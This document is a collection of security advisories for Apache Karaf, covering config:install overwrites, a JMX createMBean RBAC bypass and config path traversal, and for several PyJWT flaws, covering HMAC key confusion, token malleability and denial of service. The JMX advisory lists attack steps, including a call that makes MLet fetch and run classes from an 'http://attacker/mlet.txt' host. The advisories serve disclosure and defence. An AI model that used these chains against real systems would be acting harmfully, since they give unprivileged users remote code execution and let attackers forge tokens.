Apache Karaf's shell/SSH command security is enforced by per-scope ACL configuration files (etc/org.apache.karaf.command.acl.<scope>.cfg). SecuredSessionFactoryImpl.checkSecurity() resolves the roles required for an invocation and, when no ACL rule matches the command, fails open: ACLConfigurationParser.Specificity.NO_MATCH sets passCheck = true. The safety valve for this, karaf.secured.command.compulsory.roles, ships commented out in etc/system.properties, so an unmatched command is allowed for any authenticated user.
The shipped org.apache.karaf.command.acl.config ACL (assemblies/features/standard/src/main/feature/feature.xml, mirrored into instance/.../etc/org.apache.karaf.command.acl.config.cfg) has no install entry. It restricts delete to admin, restricts edit/property-*/update on the jmx.acl.*, org.apache.karaf.command.acl.* and org.apache.karaf.service.acl.* PIDs to admin, and allows manager for everything else, but config:install was simply unmatched, and therefore allowed for any authenticated user, including one holding only the viewer role.
config:install <url> <finalname> fetches url and writes it into ${karaf.etc} as finalname. It calls PathUtils.checkWithin() to block .. traversal outside karaf.etc, but that folder holds every security-relevant file Karaf ships: users.properties, keys.properties, host.key, and all org.apache.karaf.*.acl.* files, including the very ACL file that (mis)governs this command. With -o/--override, an existing file is overwritten with attacker-controlled bytes fetched from an arbitrary URL.
Because felix.fileinstall.dir = ${karaf.etc} (etc/config.properties), Felix FileInstall also watches and reloads any .cfg file dropped there, closing the loop without requiring a restart.
By contrast, bundle:install, feature:install and kar:install are all admin-only in their own ACLs, and config:delete is admin in this same ACL, config:install was the outlier.
MitigationAdd install = admin in etc/org.apache.karaf.command.acl.config.cfg (create the file is absent), and/or set karaf.secured.command.compulsory.roles=admin in etc/system.properties (and restart) to make unmatched commands fail closed by default.
Apache Karaf exposes a JMX MBeanServer guarded by KarafMBeanServerGuard, which enforces role-based access control (RBAC) on MBean operations invoked over the remote JMX connector (RMI registry/server, enabled by default on ports 1099 and 44444). The guard is implemented as a java.lang.reflect.Proxy around the MBeanServer, and only forwards a fixed list of operation names to the RBAC check, defined in MBeanInvocationHandler#guarded:
private final List<String> guarded = Collections.unmodifiableList( Arrays.asList("invoke", "getAttribute", "getAttributes", "setAttribute", "setAttributes"));
The MBean lifecycle operations MBeanServer#createMBean, #registerMBean and #unregisterMBean are not in this list. Calls to these methods are forwarded directly to the underlying MBeanServer with no role check at all, regardless of the roles configured in etc/jmx.acl.*.cfg.
As a result, any user who can authenticate to the JMX endpoint, including a user holding only the least-privileged "viewer" role, can call createMBean() to instantiate an arbitrary class as a MBean, and unregisterMBean() to remove it again afterwards, with no authorization check and no audit log entry (logging in KarafMBeanServerGuard only occurs on the RBAC-denial path, which this bypass never reaches).
This is significant because javax.management.loading.MLet, a standard JDK MBean, can be instantiated this way. MLet acts as a remote classloader: its getMBeansFromURL(URL) operation fetches an MLet text file from an attacker-controlled URL and instantiates and registers the classes it lists as new MBeans in the target JVM. Reaching this operation still goes through KarafMBeanServerGuard's existing "invoke" check, but the default etc/jmx.acl.cfg grants the "viewer" role to any method name matching the wildcard rule "get* = viewer", a heuristic intended for read-only getters. Because "getMBeansFromURL" happens to start with "get", it also matches that rule, so a default installation grants "viewer" callers permission to invoke it without any Karaf-specific ACL naming MLet at all. Combined with the createMBean gap, this gives a "viewer"-role JMX client a path to remote code execution to the Karaf JVM:
* Authenticate to JMX as any user with any role (e.g. "viewer").
* mbs.createMBean("javax.management.loading.MLet", objectName) is not in GUARDED_OPERATIONS, no RBAC check, MLet is instantiated and registered.
* mbs.invoke(objectName, "getMBeansFromURL", new Object[]{"http://attacker/mlet.txt"}, ...) is guarded, but the method name matches the default "get* = viewer" ACL rule, so permitted.
* The remote .mlet file is fetched and its listed classes are loaded and registered as new MBeans, running attacker-supplied code in the Karaf JVM.
* mbs.unregisterMBean(objectName) can be used to remove the MLet afterwards, also not in GUARDED_OPERATIONS, no RBAC check, no audit trail.
The fix adds createMBean, registerMBean and unregisterMBean to the guarded operation list, resolves required roles for them from the jmx.acl* configuration by ObjectName and (for createMBean/registerMBean) MBean class name, and ships default etc/jmx.acl.cfg entries restricting all three operations to the "admin" role. This allows deployments to also write class-name-specific rule, e.g.:
createMBean(java.lang.String)[/javax\.management\.loading\..*/] = admin
Apache Karaf users should upgrade to 4.4.12 or 4.5.0 or later, once released, as soon as possible. Until an upgrade is available, restrict network access to the JMX RMI registry/server ports (1099/44444) to trusted hosts, or avoid issuing any non-"admin" JMX credentiels.
org.apache.karaf.config.core.impl.ConfigRepositoryImpl#update(pid, properties),
which backs the "config" MBean and the config:* shell commands, derives the file
it writes a configuration to from caller-supplied input without checking that
the result stays inside ${karaf.etc}:
* if the submitted property map contains a felix.fileinstall.filename entry, that value is turned directly into a File (getCfgFileFromProperty), so it can point to any absolute path the Karaf process can write to;
* otherwise the configuration PID is concatenated verbatim into the target file name (generateConfigFilename(): new File(karaf.etc, pid + ".cfg")), so a PID containing ".." segments resolves outside ${karaf.etc}. createFactoryConfiguration() has the same issue via the factory PID/alias.
Both code paths are reachable by any caller holding the "manager" role under Karaf's shipped command/JMX ACL (org.apache.karaf.command.acl.conf.cfg: "update = manager"). Such a user can therefore write attacker-controlled content to any file the Karaf process can write, including files the same ACL otherwise reserves to "admin" (etc/users.properties, etc/*.acl.*.cfg, etc/org.apache.karaf.management.cfg, and similar), allowing a manager-role user to grant themselves the admin role or otherwise take over the container.
ConfigMBeanImpl.install() and the config:install shell command already guarded the equivalent risk on their own code path with a finalname.contains("..") string check, but that check does not stop absolute paths or symlink-based escapes, and it was never applied to ConfigRepositoryImpl.update() / createFactoryConfiguration() at all.
PyJWT is a Python implementation of JSON Web Token standards. From 2.4.0 until 2.14.0, PyJWT HMACAlgorithm.prepare_key is affected because asymmetric-key guard relies on textual markers that are absent from DER encoding. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a DER public key as the shared verification key. As a result, PyJWT uses public DER bytes as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.
PyJWT is a Python implementation of JSON Web Token standards. From 2.13.0 until 2.14.0, HMACAlgorithm.prepare_key in jwt/algorithms.py is affected because raw-JWK detector does not normalize accepted Unicode byte-order marks before checking for JSON. This occurs when a public JWK is prefixed with a UTF-8 BOM and used in a mixed-algorithm verification path. As a result, public JWK bypasses asymmetric-key detection and becomes the HMAC secret. Consequently, an attacker who knows the public key can forge authenticated tokens. This issue is fixed in version 2.14.0.
PyJWT is a Python implementation of JSON Web Token standards. From 2.13.0 until 2.14.0, PyJWT HMACAlgorithm.prepare_key is affected because HMAC key guard only recognizes top-level public JWK forms and misses container representations. This occurs when an application allows HMAC and asymmetric algorithms and passes a public JWK container as the raw key. As a result, public asymmetric key material is accepted as the HMAC secret. Consequently, an attacker who knows the public key can forge a token with arbitrary authenticated claims. This issue is fixed in version 2.14.0.
PyJWT is a Python implementation of JSON Web Token standards. From 2.9.0 until 2.14.0, PyJWKSet does not catch the plain ValueError raised for malformed RSA JWK components by RSAAlgorithm.from_jwk in jwt/api_jwk.py. This occurs when a JWK Set contains a malformed RSA key alongside otherwise usable keys. As a result, one malformed member aborts construction of the entire PyJWKSet. Consequently, applications can experience authentication failures or request-level denial of service. This issue is fixed in version 2.14.0.
PyJWT is a Python implementation of JSON Web Token standards. From 2.1.0 until 2.15.0, PyJWT OKPAlgorithm.from_jwk in jwt/algorithms.py is affected because private-JWK import path does not compare the public key derived from d with x. This occurs when an OKP private JWK supplies non-corresponding x and d components. As a result, identity derived from x can differ from operations performed with d. Consequently, if an integration also accepts private key parameters from a proof header without rejecting them, an attacker may use a stolen sender-constrained token without the legitimate private key. This issue is fixed in version 2.15.0.
PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, PyJWT signature segment is affected because signature segment decoding accepts characters outside the canonical Base64URL representation. This occurs when non-Base64URL characters are appended to a valid compact JWS signature segment. As a result, base64url_decode produces the same signature bytes for different serialized segments. Consequently, raw-token revocation checks can fail to recognize an equivalent modified token. This issue is fixed in version 2.14.0.
PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, PyJWT is_pem_format is affected because lazy PEM regular expression backtracks extensively. This occurs when a certificate-like input contains repeated BEGIN markers without a matching END marker. As a result, is_pem_format performs unbounded backtracking while searching for a PEM end marker. Consequently, an attacker can cause intensive CPU consumption. This issue is fixed in version 2.14.0.